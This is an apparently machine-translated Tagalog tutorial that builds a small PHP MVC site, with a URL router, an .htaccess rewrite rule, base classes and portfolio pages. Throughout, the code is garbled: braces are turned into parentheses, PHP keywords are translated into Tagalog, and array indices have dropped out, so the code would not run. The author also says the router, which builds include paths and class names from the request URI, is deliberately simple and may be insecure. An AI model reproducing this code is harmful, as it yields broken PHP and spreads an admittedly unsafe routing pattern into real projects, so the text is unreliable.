    Halimbawa, para sa isang regular na page na nagpapakita ng contact form, maaaring ganito ang hitsura ng URL:
    http://www.example.com/contacts.php?action=feedback

    Tinatayang processing code sa kasong ito:
    switch ($_GET ["action" ]) ( case "about" : require_once ("about.php" ); // "About.php" page break ; case "contacts" : require_once ("contacts.php" ); // page na "Contacts" break ; case "feedback" : require_once ("feedback.php" ); // page "Feedback" break ; default: require_once ("page404.php" ); // page "404" break ; )
    Sa tingin ko halos lahat ay nagawa na ito dati.

    Gamit ang isang URL routing engine, maaari mong i-configure ang iyong application upang tanggapin ang mga kahilingang tulad nito upang ipakita ang parehong impormasyon:
    http://www.example.com/contacts/feedback

    Dito kinakatawan ng mga contact ang controller, at ang feedback ay ang paraan ng controller ng contact na nagpapakita ng feedback form, atbp. Babalik tayo sa isyung ito sa praktikal na bahagi.

    Mahalaga rin na malaman na maraming mga web frameworks' router ang nagbibigay-daan sa iyo na lumikha ng mga custom na ruta ng URL (tukuyin kung ano ang ibig sabihin ng bawat bahagi ng URL) at mga panuntunan para sa pagproseso ng mga ito.
    Ngayon ay mayroon na tayong sapat na teoretikal na kaalaman upang magpatuloy sa pagsasanay.

    2. Magsanay Una, gawin natin ang sumusunod na istraktura ng file at folder:


    Sa hinaharap, sasabihin ko na ang mga pangunahing klase ng Model, View at Controller ay maiimbak sa pangunahing folder.
    Ang kanilang mga anak ay maiimbak sa mga direktoryo ng controller, modelo at view. Ang index.php file ay ang entry point sa application. Sinisimulan ng bootstrap.php file ang paglo-load ng application, pagkonekta sa lahat ng kinakailangang module, atbp.

    Kami ay pupunta nang sunud-sunod; Buksan natin ang index.php file at punan ito ng sumusunod na code:
    ini_set("display_errors" , 1 ); require_once "application/bootstrap.php" ;
    Hindi dapat magkaroon ng anumang mga katanungan dito.

    Susunod, pumunta agad tayo sa bootstrap.php file:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Ruta::start(); //simulan ang router
    Ang unang tatlong linya ay magsasama ng kasalukuyang hindi umiiral na mga file ng kernel. Kasama sa mga huling linya ang file na may klase ng router at ilunsad ito para sa pagpapatupad sa pamamagitan ng pagtawag sa static na paraan ng pagsisimula.

    2.1. Pagpapatupad ng URL Router Sa ngayon, lumihis tayo sa pagpapatupad ng pattern ng MVC at tumuon sa pagruruta. Ang unang hakbang na kailangan nating gawin ay isulat ang sumusunod na code sa .htaccess:
    RewriteEngine Sa RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Ire-redirect ng code na ito ang lahat ng pagpoproseso ng pahina sa index.php, na siyang kailangan namin. Tandaan sa unang bahagi na pinag-usapan natin ang Front Controller?!

    Ilalagay namin ang pagruruta sa isang hiwalay na file route.php sa pangunahing direktoryo. Sa file na ito, ilalarawan namin ang klase ng Ruta, na magpapatakbo ng mga pamamaraan ng controller, na bubuo naman ng page view.

    Mga nilalaman ng route.php file

    Ruta ng klase ( static function start () ( // controller at default na aksyon $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // get ang controller name if (!empty ($routes)) ($controller_name = $routes ; ) // kunin ang action name if (!empty ($routes )) ($action_name = $routes ; ) // add prefixes $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // ikonekta ang file sa klase ng modelo (maaaring walang modelong file) $model_file = strtolower ($model_name). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) ( isama ang "application/models/" .$model_file ; ) // i-hook up ang file kasama ang controller class $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) ( isama ang "application/controllers/" .$controller_file ; ) else ( /* tama na maglagay ng exception dito, ngunit para gawing simple ang mga bagay, magre-redirect kami kaagad sa 404 page */ Route::ErrorPage404(); ) // lumikha ng controller $controller = new $controller_name ; $action = $action_name ; if (method_exists($controller , $action )) ( // tawagan ang controller action $controller ->$action (); ) else ( // dito rin mas matalinong maglagay ng exception Route::ErrorPage404(); ) ) function na ErrorPage404 ( ) ($host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Status: 404 Not Found" ) ; header(" Lokasyon:" .$host ."404" ); ) )


    Pansinin ko na ang klase ay nagpapatupad ng napakasimpleng lohika (sa kabila ng napakalaking code) at maaaring magkaroon ng mga problema sa seguridad. Sinadya ito, dahil... Ang pagsulat ng isang ganap na klase sa pagruruta ay nararapat kahit isang hiwalay na artikulo. Tingnan natin ang mga pangunahing punto...

    Ang global array element na $_SERVER["REQUEST_URI"] ay naglalaman ng buong address kung saan nakipag-ugnayan ang user.
    Halimbawa: example.ru/contacts/feedback

    Gamit ang function sumabog Ang address ay nahahati sa mga bahagi. Bilang isang resulta, nakuha namin ang pangalan ng controller, para sa halimbawang ibinigay, ito ay controller mga contact at ang pangalan ng aksyon, sa aming kaso - puna.

    Susunod, ang modelong file (ang modelo ay maaaring nawawala) at ang controller file, kung mayroon man, ay konektado at sa wakas, isang instance ng controller ay nilikha at ang aksyon ay tinatawag, muli, kung ito ay inilarawan sa controller class.

    Kaya, kapag pupunta sa, halimbawa, ang address:
    example.com/portfolio
    o
    example.com/portfolio/index
    Gagawin ng router ang mga sumusunod na aksyon:

  • isasama ang model_portfolio.php file mula sa folder ng mga modelo, na naglalaman ng klase ng Model_Portfolio;
  • isasama ang controller_portfolio.php file mula sa controllers folder, na naglalaman ng Controller_Portfolio class;
  • ay lilikha ng isang halimbawa ng klase ng Controller_Portfolio at tatawagin ang default na aksyon, action_index, na inilarawan dito.
  • Kung sinubukan ng user na i-access ang address ng isang hindi umiiral na controller, halimbawa:
    example.com/ufo
    pagkatapos ay ire-redirect siya sa pahinang "404":
    example.com/404
    Ang parehong bagay ay mangyayari kung ang gumagamit ay nag-access ng isang aksyon na hindi inilarawan sa controller.2.2. Bumalik tayo sa pagpapatupad ng MVC. Pumunta tayo sa core folder at magdagdag ng tatlo pang file sa route.php file: model.php, view.php at controller.php


    Hayaan mong ipaalala ko sa iyo na maglalaman sila ng mga batayang klase, na sisimulan na nating isulat.

    Mga nilalaman ng model.php file
    Modelo ng klase ( public function get_data ( ) ( ) )
    Ang klase ng modelo ay naglalaman ng isang walang laman na paraan ng pagkuha ng data, na ma-o-override sa mga descendant na klase. Kapag gumawa tayo ng mga descendant class ay magiging mas malinaw ang lahat.

    Mga nilalaman ng view.php file
    class View ( //public $template_view; // dito maaari mong tukuyin ang default na pangkalahatang view. function generate ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // convert array elemento sa mga variable extract($data); ) */ isama ang "application/views/" .$template_view ; ) )
    Ito ay hindi mahirap hulaan na ang paraan bumuo nilayon upang bumuo ng isang view. Ang mga sumusunod na parameter ay ipinapasa dito:

  • $content_file - mga view na nagpapakita ng nilalaman ng pahina;
  • $template_file — template na karaniwan sa lahat ng pahina;
  • Ang $data ay isang array na naglalaman ng mga elemento ng nilalaman ng pahina. Karaniwang pinupunan sa modelo.
  • Ang feature na kasama ay dynamic na nagkokonekta sa isang pangkalahatang template (view) kung saan ilalagay ang view
    upang ipakita ang nilalaman ng isang partikular na pahina.

    Sa aming kaso, ang pangkalahatang template ay maglalaman ng header, menu, sidebar at footer, at ang nilalaman ng pahina ay ilalagay sa isang hiwalay na form. Muli, ito ay ginagawa para sa pagiging simple.

    Mga nilalaman ng controller.php file
    Class Controller ( public $model ; public $view ; function __construct () ( $this ->view = new View(); ) ) )
    Pamamaraan action_index- ito ang aksyon na tinatawag bilang default; i-override namin ito kapag nagpapatupad ng mga descendant na klase.

    2.3. Pagpapatupad ng mga descendant classes na Modelo at Controller, paggawa ng View" Ngayon ay magsisimula na ang saya! Ang aming website ng business card ay binubuo ng mga sumusunod na pahina:
  • bahay
  • Mga serbisyo
  • Portfolio
  • Mga contact
  • At gayundin - ang pahina ng "404".
  • Ang bawat pahina ay may sariling controller mula sa controllers folder at isang view mula sa view folder. Ang ilang mga pahina ay maaaring gumamit ng isang modelo o mga modelo mula sa folder ng mga modelo.


    Sa nakaraang figure, ang file na template_view.php ay naka-highlight nang hiwalay - ito ay isang template na naglalaman ng markup na karaniwan sa lahat ng mga pahina. Sa pinakasimpleng kaso, maaaring ganito ang hitsura:
    bahay
    Upang bigyan ang site ng isang presentable na hitsura, gumawa kami ng CSS template at isinasama ito sa aming site sa pamamagitan ng pagbabago sa istruktura ng HTML markup at pagkonekta ng CSS at JavaScript na mga file:

    Sa dulo ng artikulo, sa seksyong "Resulta", mayroong isang link sa isang GitHub repository na may isang proyekto kung saan ang mga hakbang ay ginawa upang maisama ang isang simpleng template.

    2.3.1. Paglikha ng pangunahing pahina Magsimula tayo sa controller controller_main.php , narito ang code nito:
    class Controller_Main extends Controller ( function action_index () ($this ->view->generate("main_view.php" , "template_view.php" ); ) )
    Sa pamamaraan bumuo isang halimbawa ng klase ng View, ang mga pangalan ng mga file ng pangkalahatang template at ang view na may nilalaman ng pahina ay ipinasa.
    Bilang karagdagan sa index action, ang controller ay maaaring maglaman ng iba pang mga aksyon.

    Sinuri namin ang pangkalahatang view ng file kanina. Isaalang-alang ang file ng nilalaman main_view.php:
    Maligayang pagdating! Ang OLOLOSHA TEAM ay isang pangkat ng mga first-class na espesyalista sa larangan ng pag-develop ng website na may maraming taon ng karanasan sa pagkolekta ng mga Mexican mask, bronze at stone statues mula sa India at Ceylon, bas-relief at sculpture na nilikha ng mga masters ng Equatorial Africa lima o anim na siglo. kanina...
    Naglalaman ito ng simpleng markup nang walang anumang mga tawag sa PHP.
    Upang ipakita ang pangunahing pahina, maaari mong gamitin ang isa sa mga sumusunod na address:

    • pamamaraan ng mga aklatan na nagpapatupad ng data abstraction. Halimbawa, ang mga pamamaraan ng PEAR MDB2 library;
    • Mga pamamaraan ng ORM;
    • mga pamamaraan para sa pagtatrabaho sa NoSQL;
    • at iba pa.
    • Para sa pagiging simple, hindi kami gagamit ng mga SQL query o ORM statement dito. Sa halip, tutularan namin ang totoong data at agad na magbabalik ng hanay ng mga resulta.
      Ilagay ang model file model_portfolio.php sa folder ng mga modelo. Narito ang mga nilalaman nito:
      class Model_Portfolio extends Model ( public function get_data () ( return array (array ("Year" => "2012" , "Site" => "http://DunkelBeer.ru" , "Description" => "Promotional site of the dark Dunkel beer mula sa German manufacturer na Löwenbraü na ginawa sa Russia ng brewing company na "SUN InBev." ), array ("Year" => "2012" , "Site" => "http://ZopoMobile.ru" , "Description " => "Russian-language catalog ng mga Chinese na telepono mula sa Zopo batay sa Android OS at mga accessories para sa kanila."), // todo ) ) )

      Ang klase ng controller ng modelo ay nakapaloob sa controller_portfolio.php file, narito ang code nito:
      class Controller_Portfolio extends Controller ( function __construct () ($this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ($data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      Sa isang variable datos ang array na ibinalik ng pamamaraan ay nakasulat get_data na tiningnan namin kanina.
      Ang variable na ito ay ipinapasa bilang isang parameter ng pamamaraan bumuo, na naglalaman din ng: ang pangalan ng file na may pangkalahatang template at ang pangalan ng file na naglalaman ng view na may nilalaman ng pahina.

      Ang view na naglalaman ng nilalaman ng pahina ay nasa portfolio_view.php file.
      Portfolio

      Ang lahat ng mga proyekto sa sumusunod na talahanayan ay kathang-isip, kaya't huwag subukang sundin ang mga link na ibinigay.

      2024 | Mga computer para sa lahat - Pag-setup, pag-install, pagbawi


      taonProyektoPaglalarawan